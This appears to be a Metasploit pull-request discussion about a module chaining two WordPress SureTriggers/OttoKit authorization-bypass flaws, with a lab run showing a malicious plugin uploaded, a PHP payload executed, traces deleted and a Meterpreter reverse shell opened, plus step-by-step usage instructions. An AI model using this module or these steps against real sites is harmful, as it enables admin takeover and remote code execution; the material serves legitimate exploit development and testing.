<ul role='menu' id='wp-admin-bar-root-default' class="ab-top-menu"><li role='group' id='wp-admin-bar-menu-toggle'><a class='ab-item' role="menuitem" href='#'><span class="ab-icon" aria-hidden="true"></span><span class="screen-reader-text">Menu</span></a></li><li role='group' id='wp-admin-bar-wp-logo' class="menupop"><a class='ab-item' role="menuitem" aria-expanded="false" href='http://lab:5555/wp-admin/about.php'><span class="ab-icon" aria-hidden="true"></span><span class="screen-reader-text">À propos de WordPress</span></a><div class="ab-sub-wrapper"><ul role='menu' aria-label='À propos de WordPress' id='wp-admin-bar-wp-logo-default' class="ab-submenu"><li role='group' id='wp-admin-bar-about'><a class='ab-item' role="menuitem" href='http://lab:5555/wp-admin/about.php'>À propos de WordPress</a></li><li role='group' id='wp-admin-bar-contribute'><a class='ab-item' role="menuitem" href='http://lab:5555/wp-admin/contribute.php'>Contribuer</a></li></ul><ul role='menu' aria-label='À propos de WordPress' id='wp-admin-bar-wp-logo-external' class="ab-sub-secondary ab-submenu"><li role='group' id='wp-admin-bar-wporg'><a class='ab-item' role="menuitem" href='https://fr.wordpress.org/'>Site de WordPress-FR</a></li><li role='group' id='wp-admin-bar-documentation'><a class='ab-item' role="menuitem" href='https://fr.wordpress.org/support/'>Documentation</a></li><li role='group' id='wp-admin-bar-learn'><a class='ab-item' role="menuitem" href='https://learn.wordpress.org/'>Apprendre WordPress</a></li><li role='group' id='wp-admin-bar-support-forums'><a class='ab-item' role="menuitem" href='https://wpfr.net/support'>Forums de support</a></li><li role='group' id='wp-admin-bar-feedback'><a class='ab-item' role="menuitem" href='https://wordpress.org/support/forum/requests-and-feedback'>Vos retours</a></li></ul></div></li><li role='group' id='wp-admin-bar-site-name' class="menupop"><a class='ab-item' role="menuitem" aria-expanded="false" href='http://lab:5555/'>Exploit Market</a><div class="ab-sub-wrapper"><ul role='menu' aria-label='Exploit Market' id='wp-admin-bar-site-name-default' class="ab-submenu"><li role='group' id='wp-admin-bar-view-site'><a class='ab-item' role="menuitem" href='http://lab:5555/'>Aller sur le site</a></li></ul></div></li><li role='group' id='wp-admin-bar-updates'><a class='ab-item' role="menuitem" href='http://lab:5555/wp-admin/update-core.php'><span class="ab-icon" aria-hidden="true"></span><span class="ab-label" aria-hidden="true">2</span><span class="screen-reader-text updates-available-text">2 mises à jour disponibles</span></a></li><li role='group' id='wp-admin-bar-comments'><a class='ab-item' role="menuitem" href='http://lab:5555/wp-admin/edit-comments.php'><span class="ab-icon" aria-hidden="true"></span><span class="ab-label awaiting-mod pending-count count-0" aria-hidden="true">0</span><span class="screen-reader-text comments-in-moderation-text">0 commentaire en modération</span></a></li><li role='group' id='wp-admin-bar-new-content' class="menupop"><a class='ab-item' role="menuitem" aria-expanded="false" href='http://lab:5555/wp-admin/post-new.php'><span class="ab-icon" aria-hidden="true"></span><span class="ab-label">Créer</span></a><div class="ab-sub-wrapper"><ul role='menu' aria-label='Créer' id='wp-admin-bar-new-content-default' class="ab-submenu"><li role='group' id='wp-admin-bar-new-post'><a class='ab-item' role="menuitem" href='http://lab:5555/wp-admin/post-new.php'>Article</a></li><li role='group' id='wp-admin-bar-new-media'><a class='ab-item' role="menuitem" href='http://lab:5555/wp-admin/media-new.php'>Fichier média</a></li><li role='group' id='wp-admin-bar-new-page'><a class='ab-item' role="menuitem" href='http://lab:5555/wp-admin/post-new.php?post_type=page'>Page</a></li><li role='group' id='wp-admin-bar-new-user'><a class='ab-item' role="menuitem" href='http://lab:5555/wp-admin/user-new.php'>Compte</a></li></ul></div></li></ul><ul role='menu' id='wp-admin-bar-top-secondary' class="ab-top-secondary ab-top-menu"><li role='group' id='wp-admin-bar-my-account' class="menupop with-avatar"><a class='ab-item' role="menuitem" aria-expanded="false" href='http://lab:5555/wp-admin/profile.php'>Bonjour, <span class="display-name">nzeoinronfernfreoif</span><img alt='' src='https://secure.gravatar.com/avatar/b317f0da6d4a00b9337e9df09236e2eacba17ee4d9614fa872e56ba2bfb34d11?s=26&d=mm&r=g' srcset='https://secure.gravatar.com/avatar/b317f0da6d4a00b9337e9df09236e2eacba17ee4d9614fa872e56ba2bfb34d11?s=52&d=mm&r=g 2x' class='avatar avatar-26 photo' height='26' width='26' loading='lazy' decoding='async'/></a><div class="ab-sub-wrapper"><ul role='menu' aria-label='Bonjour, nzeoinronfernfreoif' id='wp-admin-bar-user-actions' class="ab-submenu"><li role='group' id='wp-admin-bar-user-info'><a class='ab-item' role="menuitem" href='http://lab:5555/wp-admin/profile.php'><img alt='' src='https://secure.gravatar.com/avatar/b317f0da6d4a00b9337e9df09236e2eacba17ee4d9614fa872e56ba2bfb34d11?s=64&d=mm&r=g' srcset='https://secure.gravatar.com/avatar/b317f0da6d4a00b9337e9df09236e2eacba17ee4d9614fa872e56ba2bfb34d11?s=128&d=mm&r=g 2x' class='avatar avatar-64 photo' height='64' width='64' loading='lazy' decoding='async'/><span class='display-name'>nzeoinronfernfreoif</span><span class='display-name edit-profile'>Modifier le profil</span></a></li><li role='group' id='wp-admin-bar-logout'><a class='ab-item' role="menuitem" href='http://lab:5555/wp-login.php?action=logout&_wpnonce=ee4a3ed072'>Se déconnecter</a></li></ul></div></li></ul> </div>
</div>
<div id="wpbody" role="main">
<div id="wpbody-content">
<div id="screen-meta" class="metabox-prefs">
<div id="contextual-help-wrap" class="hidden no-sidebar" tabindex="-1" aria-label="Onglet d’aide contextuelle">
<div id="contextual-help-back"></div>
<div id="contextual-help-columns">
<div class="contextual-help-tabs">
<ul>
</ul>
</div>
<div class="contextual-help-tabs-wrap">
</div>
</div>
</div>
</div>
<div class="wrap"><h1>Installation de l’extension à partir du fichier téléversé : wp_5qnbz.zip</h1><p>Décompression de l’archive de l’extension…</p>
<p>Installation de l’extension…</p>
<p>L’extension a bien été installée.</p>
<p><a class="button button-primary" href="plugins.php?action=activate&plugin=wp_5qnbz%2Fwp_5qnbz.php&_wpnonce=9f58b1f92d" target="_parent">Activer l’extension</a> <a href="http://lab:5555/wp-admin/plugin-install.php">Aller à l’installeur d’extensions</a></p>
</div>
<div class="clear"></div></div><!-- wpbody-content -->
<div class="clear"></div></div><!-- wpbody -->
<div class="clear"></div></div><!-- wpcontent -->
<div id="wpfooter" role="contentinfo">
<p id="footer-left" class="alignleft">
<span id="footer-thankyou">Merci de faire de <a href="https://fr.wordpress.org/">WordPress</a> votre outil de création de contenu.</span> </p>
<p id="footer-upgrade" class="alignright">
Version 6.8.1 </p>
<div class="clear"></div>
</div>
<script src='http://lab:5555/wp-admin/load-scripts.php?c=0&load%5Bchunk_0%5D=hoverIntent,wp-dom-ready,wp-hooks&ver=6.8.1'></script>
<script src="http://lab:5555/wp-includes/js/dist/i18n.min.js?ver=5e580eb46a90c2b997e6" id="wp-i18n-js"></script>
<script id="wp-i18n-js-after">
wp.i18n.setLocaleData( { 'text direction\u0004ltr': [ 'ltr' ] } );
</script>
<script id="wp-a11y-js-translations">
( function( domain, translations ) {
var localeData = translations.locale_data[ domain ] || translations.locale_data.messages;
localeData[""].domain = domain;
wp.i18n.setLocaleData( localeData, domain );
} )( "default", {"translation-revision-date":"2025-05-06 13:34:01+0000","generator":"GlotPress\/4.0.1","domain":"messages","locale_data":{"messages":{"":{"domain":"messages","plural-forms":"nplurals=2; plural=n > 1;","lang":"fr"},"Notifications":["Notifications"]}},"comment":{"reference":"wp-includes\/js\/dist\/a11y.js"}} );
</script>
<script src="http://lab:5555/wp-includes/js/dist/a11y.min.js?ver=3156534cc54473497e14" id="wp-a11y-js"></script>
<script id="common-js-extra">
var bulkActionObserverIds = {"bulk_action":"action","changeit":"new_role"};
</script>
<script id="common-js-translations">
( function( domain, translations ) {
var localeData = translations.locale_data[ domain ] || translations.locale_data.messages;
localeData[""].domain = domain;
wp.i18n.setLocaleData( localeData, domain );
} )( "default", {"translation-revision-date":"2025-04-25 21:01:06+0000","generator":"GlotPress\/4.0.1","domain":"messages","locale_data":{"messages":{"":{"domain":"messages","plural-forms":"nplurals=2; plural=n > 1;","lang":"fr"},"Screen Options updated.":["Mise \u00e0 jour des options d\u2019\u00e9cran."],"%1$s is deprecated since version %2$s with no alternative available.":["%1$s est obsol\u00e8te depuis la version %2$s, aucune alternative n\u2019est disponible."],"%1$s is deprecated since version %2$s! Use %3$s instead.":["%1$s est obsol\u00e8te depuis la version %2$s\u00a0! Utilisez %3$s \u00e0 la place."],"Please select at least one item to perform this action on.":["Veuillez s\u00e9lectionner au moins un \u00e9l\u00e9ment pour effectuer cette action."],"Expand Main menu":["D\u00e9plier le menu principal"],"Dismiss this notice.":["Ignorer cette notification."],"You are about to permanently delete these items from your site.\nThis action cannot be undone.\n'Cancel' to stop, 'OK' to delete.":["Vous \u00eates en train de supprimer d\u00e9finitivement ces \u00e9l\u00e9ments de votre site.\nCette action ne peut pas \u00eatre annul\u00e9e.\n\u00ab\u00a0Annuler\u00a0\u00bb pour arr\u00eater, \u00ab\u00a0OK\u00a0\u00bb pour supprimer."],"Collapse Main menu":["Replier le menu principal"]}},"comment":{"reference":"wp-admin\/js\/common.js"}} );
</script>
<script src="http://lab:5555/wp-admin/js/common.min.js?ver=6.8.1" id="common-js"></script>
<script src="http://lab:5555/wp-includes/js/hoverintent-js.min.js?ver=2.2.1" id="hoverintent-js-js"></script>
<script src="http://lab:5555/wp-includes/js/admin-bar.min.js?ver=6.8.1" id="admin-bar-js"></script>
<script src="http://lab:5555/wp-admin/js/svg-painter.js?ver=6.8.1" id="svg-painter-js"></script>
<div class="clear"></div></div><!-- wpwrap -->
<script type="text/javascript">if(typeof wpOnload==='function')wpOnload();</script>
</body>
</html>
[*] Executing payload at /wp-content/plugins/wp_5qnbz/ajax_qdr1p.php...
####################
# Request:
####################
GET /wp-content/plugins/wp_5qnbz/ajax_qdr1p.php HTTP/1.1
Host: lab:5555
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
[*] Sending stage (40004 bytes) to 172.27.0.3
[+] Deleted ajax_qdr1p.php
[+] Deleted wp_5qnbz.php
[+] Deleted ../wp_5qnbz
[*] Meterpreter session 2 opened (192.168.1.36:4444 -> 172.27.0.3:53458) at 2025-05-28 17:32:49 +0200
####################
# Response:
####################
No response received
meterpreter > sysinfo
Computer : 58712b0b6572
OS : Linux 58712b0b6572 6.14.8-2-cachyos #1 SMP PREEMPT_DYNAMIC Fri, 23 May 2025 09:41:30 +0000 x86_64
Meterpreter : php/linux
meterpreter > |
|
I reinstalled..... and now neither works.... I see that the first one fails with the upload nonce again. I'll swing back tomorrow and make sure this has the fix I put in for that. If it is still an issue, I'll see if I can figure out why. As for the other, it looks to still be in the same place for a different reason- I'm getting a 301 code, now. |
|
Hey @bwatters-r7 , by executing CVE-2025-27007 first, it creates a key (so it's no longer empty), whereas CVE-2025-3102 requires an empty key; therefore, it's not an exploit issue anymore but the order of test execution. |
|
To empty the key, can I just uninstall/reinstall? |
|
Yes @bwatters-r7 |
|
Yup; this was failing because this branch is missing #20181. That's already landed to master, so no problem. |
Release NotesAdds another exploitation vector to the pre-existing |
|
@bwatters-r7, There is a typo in the release note. These are CVE-2025, not 2023 |
|
Hi @sjanusz-r7 @bwatters-r7, The release note is still not fixed |
I updated those, hopefully they are correct now. |
Hello Metasploit Team,
This change extends the existing SureTriggers/OttoKit Metasploit module by adding support for CVE-2025-27007 alongside the already implemented CVE-2025-3102 flow. Rather than splitting into two modules, both authorization bypass vulnerabilities are handled in one combined exploit since they share common endpoints and can be chained.
Verification
msfconsoleuse exploit/multi/http/wp_suretriggers_auth_bypassset RHOSTS <target>set TARGETURI <path>set WP_USER <user>set WP_PASS <password>set ACTION CVE-2025-3102andrun; Verify admin creation and payload executionset ACTION CVE-2025-27007andrun; Verify access key reset, admin creation, and payload executioncheckmethod correctly detects both CVEsdocumentation/modules/exploit/multi/http/wp_suretriggers_auth_bypass.md